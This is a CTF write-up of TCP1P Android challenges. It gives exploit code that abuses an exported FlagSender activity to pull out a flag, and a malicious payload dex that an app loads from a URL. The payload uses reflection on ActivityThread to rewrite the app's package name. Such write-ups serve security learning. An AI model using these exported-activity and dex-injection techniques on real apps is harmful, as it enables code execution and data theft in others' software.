I participated in the TCP1P CTF with the MAGER team under the nickname "azka." I successfully completed all of the Mobile Challenges in TCP1P and achieved first blood in several challenges.
Furthermore, I won the opportunity to write a writeup for the Internals challenges in Bahasa.
They created an infrastructure for an Android Virtual Device that will be deployed on a website, allowing participants to simply connect and access it for testing our exploits and obtaining the flag, they upload the project of this AVD on their github repository.
Challenge apk: challenge.apk
Like with pentesting on Android, I typically begin by opening my JADX
tools to examine the contents of the APK. The first step is to review the AndroidManifest.xml
file to assess the app's permissions, activities and what intents did this app use.
On this manifest file, my focuss is on this two activity that having value android:exported="true"
, we know if the application having this configuration on their app we can call this activity on another application that installed on the same device, and there is a class on com.kuro.intention.FlagSender
that take my focuss on.
Within the onCreate method, the app attempts to open a file flag.txt
using openFileInput
and reads its contents into a byte array with buffer. Once the flag is successfully read, it is converted into a string. Then sets the result code to -1
and attaches the flag as an extra to the intent using putExtra
. The setResult method is used to package and send this data. In Android, the setResult
method is used to set a result code and optional data (usually in the form of an Intent
) to be returned to the calling activity when the current activity finishes. It's commonly employed when one activity launches another and expects a result from it. The calling activity can then handle this result using the onActivityResult
method, gaining access to the result code and any returned data, which allows the calling activity to take actions based on the outcome of the launched activity.
The attack scenario is quite straightforward. We can create another application that start the FlagSender activity intent and retrieves the flag from the extra that returned in the setResult call.
package com.example.exploitintentionss;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.kuro.intention", "com.kuro.intention.FlagSender"));
startActivityForResult(intent, 1337);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
Log.d("MyApp", "onActivityResult called with requestCode: " + requestCode + ", resultCode: " + resultCode);
if (requestCode == 1337) {
if (resultCode == -1 && data != null) {
String flag = data.getStringExtra("flag");
TextView flagTextView = findViewById(R.id.textView);
flagTextView.setText("Flag: " + flag);
} else {
TextView flagTextView = findViewById(R.id.textView);
flagTextView.setText("Something went wrong: "+ resultCode + data);
}
}
}
}
On the code that i provided to exploit the app was quite simple, we simply start the intent of FlagSender and receive the intent then get the flag from the extra intent and put it on my textView. Because of the FlagSender activity does not call finish(), you need to manually press the back button because of we need to return to our (attacker) activity.
Challenge apk: challenge.apk
Challenge apk: challenge.apk
Given a challenge named Internals
with the following description:
Let's see how well your knowledge about android internals. Using any type of external library will deduct your points by half.
Hint :
From the description given, it seems that we are challenged by the problem setter regarding our knowledge of android internals, and the problem setter also prohibits us from using external libraries to carry out the exploit, even if we use external libraries we will get a point reduction.
Now try to install and open this challenge application first and see how it looks.
It can be seen that this application requests a url that will download payload.dex
and will load the dex.
Okay after reading the description and content of the application from the question we need to look first at the source code of this internals
application, and found one activity namely MainActivity
only:
Below is the source code of the MainActivity :
package com.kuro.internals;
import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
Button btn_load;
EditText input_url;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
this.input_url = (EditText) findViewById(R.id.input_url);
Button button = (Button) findViewById(R.id.btn_load);
this.btn_load = button;
button.setOnClickListener(new View.OnClickListener() { // from class: com.kuro.internals.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
String url = MainActivity.this.input_url.getText().toString();
if (url.isEmpty()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage("URL cannot be empty!");
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
MainActivity.this.downloadDex(url);
}
});
}
void downloadDex(String url) {
ProgressDialog pDialog = new ProgressDialog(this);
pDialog.setTitle("Downloading...");
pDialog.setMessage("Please wait...");
pDialog.setCancelable(false);
pDialog.setProgressStyle(0);
pDialog.show();
ExecutorService executor = Executors.newSingleThreadExecutor();
Handler handler = new Handler(Looper.getMainLooper());
executor.execute(new AnonymousClass2(url, handler, pDialog));
}
/* JADX INFO: Access modifiers changed from: package-private */
/* renamed from: com.kuro.internals.MainActivity$2 reason: invalid class name */
/* loaded from: classes3.dex */
public class AnonymousClass2 implements Runnable {
final /* synthetic */ Handler val$handler;
final /* synthetic */ ProgressDialog val$pDialog;
final /* synthetic */ String val$url;
AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
this.val$url = str;
this.val$handler = handler;
this.val$pDialog = progressDialog;
}
@Override // java.lang.Runnable
public void run() {
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(this.val$url).build();
try {
client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(e.getMessage());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(response.message());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
InputStream inputStream = response.body().byteStream();
OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
try {
byte[] buffer = new byte[1024];
while (true) {
int len = inputStream.read(buffer);
if (len != -1) {
outputStream.write(buffer, 0, len);
} else {
outputStream.close();
inputStream.close();
AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
@Override // java.lang.Runnable
public void run() {
AnonymousClass2.this.val$pDialog.dismiss();
MainActivity.this.loadDex();
}
});
return;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
}
void loadDex() {
File dexPath = getFileStreamPath("payload.dex");
if (!dexPath.exists()) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Error");
builder.setMessage("payload.dex not found");
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
try {
DexClassLoader dexClassLoader = new DexClassLoader(dexPath.getAbsolutePath(), getFilesDir().getAbsolutePath(), null, getClassLoader());
Class<?> clazz = dexClassLoader.loadClass("com.kuro.payload.Main");
clazz.getMethod("execute", new Class[0]).invoke(null, null);
if (getPackageName().equals("l33t_h4x0r")) {
AlertDialog.Builder builder2 = new AlertDialog.Builder(this);
builder2.setTitle("Gr4tz");
builder2.setMessage("Flag: flag{fake_flag_dont_submit}");
builder2.setCancelable(false);
builder2.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder2.show();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
It can be seen that the application uses the activity_main
layout which can be found in jadx in the Resources/res/layout/activity_main.xml
folder, this application also has 1 button and 1 EditText.
So simply when the user has entered the url into the box and pressed the button, the application will retrieve the url and throw it to the downloadDex
function, if the user does not enter the url into the box it will display a popup URL cannot be empty!
.
In the downloadDex
function, we can see that the application will pop up the Downloading...
dialog and will throw it to the AnonymousClass2
function.
Here is the source code of the AnonymousClass2 function
public class AnonymousClass2 implements Runnable {
final /* synthetic */ Handler val$handler;
final /* synthetic */ ProgressDialog val$pDialog;
final /* synthetic */ String val$url;
AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
this.val$url = str;
this.val$handler = handler;
this.val$pDialog = progressDialog;
}
@Override // java.lang.Runnable
public void run() {
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(this.val$url).build();
try {
client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(e.getMessage());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(response.message());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
InputStream inputStream = response.body().byteStream();
OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
try {
byte[] buffer = new byte[1024];
while (true) {
int len = inputStream.read(buffer);
if (len != -1) {
outputStream.write(buffer, 0, len);
} else {
outputStream.close();
inputStream.close();
AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
@Override // java.lang.Runnable
public void run() {
AnonymousClass2.this.val$pDialog.dismiss();
MainActivity.this.loadDex();
}
});
return;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
}
After reading the source code of the AnonymousClass2
function, we can see that it tries to download the dex file from the url we provide and save it with the file name payload.dex
which will then be redirected to the loadDex()
function.
And this is where the interesting part comes in and how we will create the malicious dex.
Which in this function first checks whether there is a payload.dex
file in our application files folder, it is necessary to note that every file loaded by Android Studio is in the /data/data/[apk package name]/files
folder, so in this code the challenge application will first check whether the payload.dex
file is there or not in our files folder.
Furthermore, when the payload.dex
file is in the files folder, payload.dex
will be loaded with DexClassLoader which will be checked using Reflection to load the class in the dex file, which in this code the challenge application tries to load the class from the com.kuro.payload
with the class name Main
and also take the method of execute
to run in the challenge application, after successfully loadClass from payload.dex
then will check the package name of the challenge application which is currently is com.kuro.internals
has changed to a new package name or not, namely l33t_h4x0r
, when this condition is met the application will display the flag.
After successfully understanding how the flow of this application runs, the author already has an idea of how to make the malicious dex so that when the dex that the author makes later can change the packageName of the challenge application from com.kuro.internals
to l33t_h4x0r
.
From the hint given by the question maker, the question maker asks us to do osint in his digithub account.
Finally the author found his github account and found an interesting repository in it, namely APKKiller, in this repository the creator of the problem tells that by using Reflection
we can read and modify the internal classes and fields.
After reading and doing trial and error about Reflection
the author found a way that we can use the class from ActivityThread to change the packageName to the packageName we want.
Try to create a new project in Android Studio
with the following setup:
Select Empty Views Activity
and then Next.
Make the name whatever you want, as long as the package name is com.kuro.payload
because in the challenge application this package will be loaded, then choose Java
as the programming language, because Reflection
we can use in java.
After that click Finish
and wait for android studio to prepare the setup.
After everything is done, we create a new class with the name Main
because the challenge application will load the class from our package with the name Main
by right-clicking on the com.kuro.payload
package then click New -> Java Class
.
Enter the name Main
and enter.
We will use MainActivity
activity first for debugging.
So the first step is to first find the field of packageName and then we set it to the new value
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Field[] fs = clazz.getDeclaredFields();
for(int i = 0; i < fs.length; i++) {
Log.e("Field" + String.valueOf(i), fs[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Try using the code above and run it, then try to see the logcat because I put Log.e
there for debugging and see the contents of the field from ActivityThread
.
And get the field contents of the ActivityThread
class.
As hinted by the question creator, getPackageName is found in mPackageInfo.
After spending a lot of time here, I finally found that in the mBoundApplication
fields there is an info
field.
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
Field[] fields = clazz.getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("Field" + String.valueOf(i), fields[i].getName());
}
Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field[] mBoandFields = mBoundApplication.getClass().getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("mBoandFields" + String.valueOf(i), mBoandFields[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
And finally we found the field of mPackageName
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
Field[] fields = clazz.getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("Field" + String.valueOf(i), fields[i].getName());
}
Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
// Field[] mBoundFields = mBoundApplication.getClass().getDeclaredFields();
// for(int i = 0; i < fields.length; i++) {
// Log.e("mBoundFields" + String.valueOf(i), mBoundFields[i].getName());
// }
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
Field[] apkInfoFields = loadedApkInfo.getClass().getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("apkInfoFields" + String.valueOf(i), apkInfoFields[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
After getting the correct field, now just change the value of mPackageName to l33t_h4x0r
with the following code:
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
// Get the current ActivityThread instance
Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
// Get the loaded package info
Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
// Set the new package name
Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
packageNameField.setAccessible(true);
packageNameField.set(loadedApkInfo, "l33t_h4x0r");
Log.e("PackageName", getPackageName());
} catch (Exception e) {
e.printStackTrace();
}
}
}
After running and viewing in logcat the package name has been successfully changed to l33t_h4x0r
.
After that, just copy the code and input it into the Main
class and in the execute
function.
package com.kuro.payload;
import android.content.pm.ApplicationInfo;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void execute() {
try {
// Get the current ActivityThread instance
Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
// Get the loaded package info
Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
// Set the new package name
Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
packageNameField.setAccessible(true);
packageNameField.set(loadedApkInfo, "l33t_h4x0r");
} catch (Exception e) {
e.printStackTrace();
}
}
}
After that, set the gradle so that when building the classes.dex it is only one and not multiple by adding the following config:
After that we build this project.
A popup will appear in the bottom right corner like the following.
Click locate
and will be directed to the apk folder that has been built:
Enter the debug folder.
And this app-debug.apk
is the result of our compile earlier, after that we open this apk in jadx
to take the classes.dex and use it in the challenge application.
The compiled apk folder is in <Project Folder Name>\app\build\outputs\apk\debug
.
After opening with jadx, we save all the decompiled results and put them in a folder, I myself put it in the kelasss
folder.
After that we copy the classes.dex
contained in the kelasss/resources/classes.dex
folder to another folder so that we can transfer it to the challenge application.
I put it in the internals folder only and I rename it to payload.dex
and run http.server and ngrok, after that just enter the url into the box and our exploit is successful to get the flag.
Just run on Virtual Android Device and get the flag:
Reference: